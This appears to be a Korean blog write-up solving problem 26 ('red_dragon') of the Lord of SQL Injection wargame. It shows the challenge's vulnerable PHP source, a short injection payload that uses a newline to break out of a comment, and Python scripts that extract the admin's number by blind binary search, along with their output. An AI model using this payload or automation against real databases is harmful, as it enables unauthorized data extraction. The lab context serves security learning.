Oh! JUN

[Lord Of SQL Injection] 26번(%0a(엔터)로 뒤에 주석 무력화, 이진탐색) 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 26번(%0a(엔터)로 뒤에 주석 무력화, 이진탐색)

Kwon Oh! JUN 2022. 2. 24. 03:07

query : select id from prob_red_dragon where id='' and no=1



<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(
strlen($_GET['id']) > 7) exit("too long string");
  
$no is_numeric($_GET['no']) ? $_GET['no'] : 1;
  
$query "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  
$query "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['no'] === $_GET['no']) solve("red_dragon");
  
highlight_file(__FILE__);
?>

 

★조건

id는 7자를 초과하면 안된다.

no가 숫자면 입력한 숫자로 출력하고, 숫자가 아닌경우 1로 치환한다.

 

 조건에 따르면 no에는 숫자만 가능하니까 

where id='조건문' and no=숫자

이런식으로 밖에 방법이 없어보인다.

 

 

이전 문제에서 계속 사용했던 싱글 쿼터를 탈옥시키는 방법을 사용해서 '조건문'과 '숫자'사이에 존재하는 문자열을 제거해주고 싶다.

where id='조건문''\' and no=숫자

하지만 no에는 숫자만 있는관계로 '사용하지 않으니까 문자열의 끝을 처리할 수 가 없었다.

 

 

그러면 그냥 id를 공백으로 만들고, or 조건문으로 시도를 해보았다.

where id=''or no>10#' and no=숫자

이렇게 해보니까 id에 들어가는 문자의 수가 7개를 초과해서 예외처리 되어버린다.

 

 

no에 숫자의 조건을 준 이유가 있을것이다. no<10에서 10의 포지션을 숫자로 놓아야 맞는거 같다.

where id=''or no>#' and no=%0a10

no= 다음에 %0a 엔터처리를 해주면 %0a 뒤에 있는 문자열은 주석처리가 되지 않는다.

 

그래서 위에꺼를 정리하면

where id=''or no>10

 

이런식으로 해석이 된다.

 

https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no%3E%23&no=%0a10


query : select id from prob_red_dragon where id=''||no>#' and no= 10


 

Hello admin

<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(
strlen($_GET['id']) > 7) exit("too long string");
  
$no is_numeric($_GET['no']) ? $_GET['no'] : 1;
  
$query "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  
$query "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['no'] === $_GET['no']) solve("red_dragon");
  
highlight_file(__FILE__);
?>

 

'Hello admin' 출력되니까 no는 10보다 크다라는 의미다.

이걸 활용하면 no의 길이를 확인할 수 있는데

 

ex)

no>10 TRUE
no>100 TRUE
no>1000 TRUE
no>10000 TRUE
no>100000 FALSE

10000보다 크면 참인데 100000보다 작으면 거짓이니까 당연히 no는 5자리이다.

이 방법을 사용해서 no의 길이를 확인할 수 있다. 

 

하나씩 늘리면서 해보면 되기는 하지만 코딩을 짜보았다.

import requests
import string

url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
cookie = dict(PHPSESSID="cfedun7r455i84qklt0jlggb92")

asc = string.digits
result=""
count = 1

for i in range(1, 1000):
    param = "?id=%27||no%3E%23&no=%0a"+str(10**count)
    res_url = url + param
    response = requests.get(res_url, cookies=cookie)
    count=count+1
    print(10**count)

    if response.text.find("Hello admin") < 0:
        print("길이: "+str(count-1))
        break
10
100
1000
10000
100000
1000000
10000000
100000000
1000000000
길이: 9

 

no의 길이는 9자리니까 100000000 ~ 999999999에 속한다.

이걸 하나씩 카운트해서 다 찾으려면 하루종일 걸린다.

그래서 이진탐색 알고리즘을 사용해서 코드를 짜볼것이다.

 

import requests
import string

url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
cookie = dict(PHPSESSID="cfedun7r455i84qklt0jlggb92")

asc = string.digits
end = 1000000000
start = 0

for i in range(1, 1000):
    res = round((start+end)/2)
    param = "?id=%27||no%3E%23&no=%0a"+str(res)
    res_url = url + param
    response = requests.get(res_url, cookies=cookie)

    if response.text.find("Hello admin") > 0:
        print("-----true-----")
        print("strat: "+str(start))
        print("end: "+str(end))
        print("center: "+str(res))
        start = res
        param = "?id=%27||no%3E%23&no=%0a"+str(res)#참
        res_url = url + param
        response = requests.get(res_url, cookies=cookie)
        print("\n")
        
    else:
        print("-----false-----")
        print("strat: "+str(start))
        print("end: "+str(end))
        print("center: "+str(res))
        end = res
        param = "?id=%27||no%3E%23&no=%0a"+str(res)
        res_url = url + param
        response = requests.get(res_url, cookies=cookie)
        print("\n")

    param = "?id=%27||no=%23&no=%0a"+str(res)
    res_url = url + param
    response = requests.get(res_url, cookies=cookie)

    if response.text.find("Hello admin") > 0:
        param = "?id=%27||no%3E%23&no=%0a"+str(res)#참
        res_url = url + param
        response = requests.get(res_url, cookies=cookie)
        break
-----true-----
strat: 0
end: 1000000000
center: 500000000


-----false-----
strat: 500000000
end: 1000000000
center: 750000000


-----false-----
strat: 500000000
end: 750000000
center: 625000000


-----true-----
strat: 500000000
end: 625000000
center: 562500000


-----false-----
strat: 562500000
end: 625000000
center: 593750000


-----true-----   
strat: 562500000 
end: 593750000   
center: 578125000


-----true-----
strat: 578125000 
end: 593750000   
center: 585937500


-----false-----
strat: 585937500 
end: 593750000   
center: 589843750


-----false-----
strat: 585937500 
end: 589843750   
center: 587890625


-----false-----
strat: 585937500 
end: 587890625   
center: 586914062


-----true-----
strat: 585937500
end: 586914062
center: 586425781


-----false-----
strat: 586425781
end: 586914062
center: 586669922


-----false-----
strat: 586425781
end: 586669922
center: 586547852


-----false-----
strat: 586425781
end: 586547852
center: 586486816


-----true-----
strat: 586425781
end: 586486816
center: 586456298


-----true-----
strat: 586456298
end: 586486816
center: 586471557


-----true-----
strat: 586471557
end: 586486816
center: 586479186


-----false-----
strat: 586479186
end: 586486816
center: 586483001


-----true-----
strat: 586479186
end: 586483001
center: 586481094


-----false-----
strat: 586481094
end: 586483001
center: 586482048


-----true-----
strat: 586481094
end: 586482048
center: 586481571


-----true-----
strat: 586481571
end: 586482048
center: 586481810


-----true-----
strat: 586481810
end: 586482048
center: 586481929


-----true-----
strat: 586481929
end: 586482048
center: 586481988


-----false-----
strat: 586481988
end: 586482048
center: 586482018


-----true-----
strat: 586481988
end: 586482018
center: 586482003


-----true-----
strat: 586482003
end: 586482018
center: 586482010


-----false-----
strat: 586482010
end: 586482018
center: 586482014

정답은 586482014!!

 


query : select id from prob_red_dragon where id='' and no=586482014


 

RED_DRAGON Clear!


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(
strlen($_GET['id']) > 7) exit("too long string");
  
$no is_numeric($_GET['no']) ? $_GET['no'] : 1;
  
$query "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  
$query "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['no'] === $_GET['no']) solve("red_dragon");
  
highlight_file(__FILE__);
?>